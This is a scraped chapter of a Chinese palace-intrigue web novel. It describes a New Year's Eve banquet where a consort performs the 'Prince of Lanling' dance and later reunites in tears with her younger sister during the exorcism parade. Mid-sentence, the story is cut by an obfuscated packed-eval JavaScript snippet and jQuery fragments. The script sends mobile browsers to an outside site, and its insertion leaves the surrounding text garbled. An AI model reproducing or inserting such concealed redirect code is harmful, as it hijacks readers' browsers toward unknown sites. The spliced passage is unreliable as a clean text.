18. 兰陵王入阵曲

作品:《折棠

    红日将尽,华光收敛,淡淡月色显现。


    天将将黑的十分,除夕夜晏开始了。


    潘棠随一众贵女入席。


    她发现,自打严瑛将她叫出去骑马之后,贵女们对她的态度就微妙起来。以前无人和她说话是因为不相熟,现在无人和她说话却是对她退避三舍。


    潘棠摇摇头,她可不管这些无关紧要的人对她的态度。


    坐席的位置巧妙按照贵女们的家世安排,严瑛恰好坐在她对面,正举着手中的琉璃酒盏对她摇摇手。


    潘棠报之一笑,也举起酒盏,隔空敬了严瑛一杯,入口是香甜的葡萄佳酿。


    此时,一切已经准备就绪,上首皇后道:“开始吧。”她举起手里金樽,众人一同起身敬皇后。


    舞乐起。


    一支又一支舞过去,她却一直兴致缺缺,支着脑袋,喝了许多杯酒,目光一直盯着大殿门口,却一次又一次失望。


    “芙蓉花怎么还不来?”


    玉容装扮成小丫鬟,一把按住了潘棠要举起的酒杯,“你少喝点吧,还没见到芙蓉花呢,你要是醉了怎么行?”


    “就这点果酒,我不在话下。”她语气略有些骄傲,最后还是没将酒杯举起。


    “再等等吧,阿姐可能是有事耽搁了。”她安慰道。她心里却暗暗想着,到底什么事情,能让阿姐迟到皇后的宫宴?


    玉容按捺下心,还是打起十二分精神看着。


    又一支舞毕,宫殿里觥筹交错,乐声止息,却倏然,在下一刻迸发出宏大的鼓乐声。


    一时间犹如百鸟朝凤,万兽归巢。


    殿中人手上的动作纷纷停下,人声消失,乐声更响。锣声,鼓声,丝竹声,琵琶声混在一起,各有千秋,又相得益彰。


    琵琶一声铮鸣,鼓声渐快,似有千军万马,金戈铁马之声。


    这是,《兰陵王入阵曲》。


    舞者纷纷入场,皆穿一身黑衣,而最中间领舞的舞者却穿白衣,一精致的银光闪闪的阎罗面具覆面,看不清面目。


    乐声更激荡,宏大激昂,却带着浓浓的悲怆。舞殿冷袖,风雨凄凄,千万均气势下,兰陵王英姿尽显,一支舞曲囊括他整个令人嗟叹的人生。


    黑衣之间,一身白衣的兰陵王甩袖而舞,翻云覆雨之间,带着凌厉的杀伐气,步步都在杀敌,步步都凄凉悲壮。


    除了舞乐,殿中鸦雀无声。


    潘棠紧紧盯着殿中领舞的那名舞女,攥着琉璃盏指节发白。虽看不到脸,但熟悉的身形她一辈子都不会忘记,是阿姐。


    领舞的那个就是阿姐。


    鼓点愈催,整支舞到达高潮,其他舞者将兰陵王团团围住,中间一小片方圆之内,兰陵王却越舞越快,飘逸白裙下,每一个动作都力道内收,充满韧劲。


    众人目不转睛。


    最后鼓乐声停,兰陵王面具落下,露出一张倾城绝艳的女子的脸。


    潘芙上前,对皇后拜道:“参见皇后娘娘。”


    皇后笑盈盈,死死盯着潘芙的脸,“平身。”


    “这支舞,不知皇后娘娘可满意?”


    “本宫很满意,贤妃用心了。依本宫看,比从前给陛下献的那支还要好看。”


    潘芙微微顿首,“和那支其实是一样的,只是在曲子上又下了点功夫。”


    被舞曲震惊的众人这才反应过来,刚刚领舞的舞者,竟然就是四妃之一的贤妃。


    听闻当年贤妃一舞博得皇帝青睐,从前宫里从不受宠的妃子,一跃成为宠妃,位列四妃。


    只是今日,就算是除夕佳节,又怎么会让堂堂妃嫔来跳舞?


    以贤妃的地位,根本不必做这种事情!


    底下议论纷纷,有赞叹舞蹈之美的,也有惊讶贤妃献舞的。


    潘棠的心久久不能平复,自她认出阿姐之后,眼睛里就只能看见她一个人了。玉容在一旁也十分激动,一直为阿姐的舞鼓掌。


    她看着阿姐的背影出神,两年未见,她还是从前模样,只是,似乎更多了几分棱角。


    崔贵妃此时开口,“贤妃妹妹一舞跳得好啊,我看连乐安坊的舞妓都不如你呢。”语气颇有些盛气凌人的意味。


    话一出,所有人目光都有意无意聚向崔贵妃,她这话一听就是来羞辱人的。


    殿中气氛凝滞。


    潘棠手攥起来,玉容也警觉,盯着那不怀好意的崔贵妃。


    “贵妃过奖。能博皇后娘娘一笑,妾再怎么跳都是愿意的。”潘芙道:“况且,陛下也十分喜欢妾的舞,妾愿意日日跳。”


    崔贵妃哼一声,偏过头去。贤妃素来和她不对付,本以为今日借机羞辱她一番,但她却又将陛下搬出来。


    不就是仗着陛下宠爱她吗?


    崔贵妃作为天之骄女,却在圣眷一事上屡屡碰壁,这贤妃叫她好不嫉妒!


    皇后见二妃针锋相对,出来打圆场,“贤妃献舞辛苦了,先去更衣再入座吧。”


    底下席间,潘棠眼看着姐姐离开大殿去更衣,舞者退散,乐声又起,转变为抒情的丝竹声。


    她的心绪在丝竹声中飘荡,如一片无根的浮萍。


    阿姐从头至尾都没有看她一眼。


    后半场宴席,潘棠如坐针毡,盯着阿姐的方向,却只见阿姐温柔得体地笑着,端端正正坐在席上,不曾看她。


    夜更深,月更明。


    宫门大开,一堆冗长的驱傩队伍自朱雀大街起,一直跳过丹凤门,跳进皇宫。


    这是一年仅一次的傩戏,这支驱傩队是全长安城最庞大的队伍,也是唯一一支获得许可,可以跳进皇宫的队伍——能进宫这是皇帝的仁慈,使得规矩森严的皇宫在这一天,也能热热闹闹与民同乐。


    众人出了清思殿,外面宽阔的宫道上有禁军驻守,驱傩人面带鬼怪面具,舞姿诡异奇巧,队伍外围的人高举火把,一条红彤彤的驱傩队将宫道照亮,每个人脸上都映着火光。


    潘棠站在人群中,听着驱傩人的吟唱伴随着锣声,这源自古老的吟唱,勾起她对往事的记忆。


    在大虞,驱傩是一个古老的仪式。


    “东海渡塑山有神茶、郁垒之神,以御凶鬼,为民除害,因制驱傩之神。”


    驱傩,就是驱疫厉之鬼。


    火光冲天,她的心脏在急促的舞步中震颤,悄然,一只温暖的手将她手牵起。


    潘棠不敢回头,在不为人知的角落里,在无人在意之处,在众人皆目不转睛看着傩戏时,阿姐牵起她的手。


    就像小时候,她们每次去大街上看傩戏时一样。


    “阿姐……”


    “冻着了吧,手这样凉。”


    手被阿姐搓了搓,带着酥酥麻麻的暖意,手再次被阿姐紧攥。


    再次重逢,二人仿佛回到了几年前,尚且青涩的姐妹俩钻进拥挤的人潮,悄悄带上鬼面,混进驱傩的队伍,随着人潮一块跳舞。


    而今,同样的傩戏,同样的人,却不再当时华年。


    “怎么不看阿姐了,生气啦?”潘芙嗓音柔柔地响起,带着些逗趣儿的意味。


    潘棠转身,却是一双泪眼。


    她强忍着眼泪,强忍着抱住阿姐的冲动,现在人多眼杂,她不想让阿姐因她失了体面。


    “阿姐……”


    潘芙笑着,“原以为两年不见你已经长大了,没想到还是个孩子。”她擦擦潘棠眼泪,“脸上脂粉都哭花了,怎么见人?”


    潘棠只一颗一颗掉泪珠,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712217|155873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说话。她满眼都是她,只要看着就满心都是欢喜。


    “乖。”潘芙暖着她的手,像从前那般温柔询问,“在家里过得好吗?有没有受欺负。”


    潘棠点点头,本来想说“很好”,两个字却如何都说不出口,心里酸酸的泛起委屈。


    她好想和阿姐说,她过得不好,崔姨娘常常克扣她例银,银子连吃饭都不够。但话到嘴边,却全被她吞下去。


    她好委屈,却不想说。


    “我很好。”忍者哭腔,她说。


    “受委屈就和阿姐说,没有什么是不能告诉阿姐的,在阿姐这里,你想要什么都可以。”


    人委屈时,就是听不得安慰的话,一听安慰,泪水又会如洪水决堤,忍也忍不住。


    潘棠胡乱擦着泪水,脸上精致的妆容花了。


    潘芙的眼里也泛泪光,她知道妹妹受委屈了,却什么都不愿意和她说。


    二人相对而立,严瑛走来,“哭成小花猫了。”


    两人同时转头,见严瑛手里拿着两个鬼怪面具。


    “贤妃万安。”严瑛道。


    潘芙看上去和严瑛很相熟,“你来了。”她道。


    严瑛看着潘棠哭花的脸,将鬼面戴在她脸上,“刚好这个来挡着你的花脸。姐妹相见是很感动,但等会有的是时间叙旧。”


    “走!我们先去跳舞。”严瑛一把拉住潘棠,另一手给自己带上面具,二人钻进了驱傩队伍。


    两人都是会跳驱傩舞的,跟随者众人一起,很快就融入进去。


    潘棠惊讶于严瑛竟然也会跳舞,两人面对面跳着,动作合拍,像是曾经练习过多次一般。


    瞬间,潘棠脑海里画面闪过,六年前的朱雀大街上,她钻进驱傩队伍时,见到过一个不爱穿男装的小男孩。


    那时,男孩看着她身上阿姐新买的新衣,眼里满是羡慕的神色。


    再抬眼,男孩的身影和眼前人重叠,她撞进严瑛好整以暇的眼神里。


    “想起来了吗?”锣鼓声太大,严瑛喊道。


    “我记得了!”


    “对不住!”潘棠喊道。


    “没事!”


    热闹的驱傩一直进行,队伍前进着,走过了这条长长的宫道,他们还要去皇宫的其他地方,锣声不止,驱傩不停。


    潘棠和严瑛摘下面具,重新回到众人当中。


    驱傩离开后,隆重的除夕夜宴方算圆满结束,大家互相说着吉祥话,许下来年的心愿。


    皇后道:“夜深了,本宫喜静,这次就不留你们在宫里守岁了。”


    此话一出,现场众人纷纷松了口气。皇宫守岁虽然听上去气派,但实则无聊得很,在宫中什么事情都做不了。若是到了家中,到了坊间,能有的活动就多了,今夜定能好好玩一玩。


    众人向皇后行礼,皇后刚要走,却突然问向了站在一旁的潘芙。


    “贤妃许久没和母亲妹妹见面了吧?不如让母亲妹妹在宫里多住几天再走。”


    皇后一发话,四周说话声都停了,潘芙上前道:“多谢娘娘关心,妾许久未见母亲确实想念,但留人在宫里却是破了规矩,况且母亲还要操持家务事,不宜留下。”


    她句句没提潘棠,是有意为之。


    皇后却道:“规矩都是人定的,贤妃今日献舞有功,本宫就格外开恩,让你们姐妹团聚。贤妃以为,该安排宋夫人住在何处呢?”


    潘芙知道难挡皇后旨意,只得道:“就住妾的宫里吧,正好能和母亲叙旧。”


    “嗯。就听贤妃的。”


    皇后留下最后一句话,摆驾离开。在场贵女们也都被宫女们领着出宫。


    无人在意刚刚的小插曲,但潘芙却知道,她害了妹妹……